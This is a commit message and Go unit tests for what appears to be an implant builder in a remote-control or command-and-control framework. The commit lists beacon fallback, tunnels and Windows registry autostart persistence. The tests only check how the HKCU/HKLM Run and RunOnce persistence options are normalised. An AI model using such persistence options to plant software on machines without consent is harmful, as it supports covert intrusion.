feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

server/internal/builder/registry_persistence_test.go

@@ -0,0 +1,30 @@
+package builder
+
+import "testing"
+
+func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) {
+	req := &BuildRequest{RegistryRunOnce: true}
+	normalizeRegistryPersistence(req)
+	if req.RegistryPersistence != "hkcu_run_once" {
+		t.Fatalf("got %q", req.RegistryPersistence)
+	}
+}
+
+func TestNormalizeRegistryPersistenceCombined(t *testing.T) {
+	req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true}
+	normalizeRegistryPersistence(req)
+	if req.RegistryPersistence != "combined" {
+		t.Fatalf("got %q", req.RegistryPersistence)
+	}
+}
+
+func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) {
+	req := &BuildRequest{
+		RegistryPersistence: "hkcu_run",
+		RegistryRunHKLM:     true,
+	}
+	normalizeRegistryPersistence(req)
+	if req.RegistryPersistence != "hkcu_run" {
+		t.Fatalf("enum should win, got %q", req.RegistryPersistence)
+	}
+}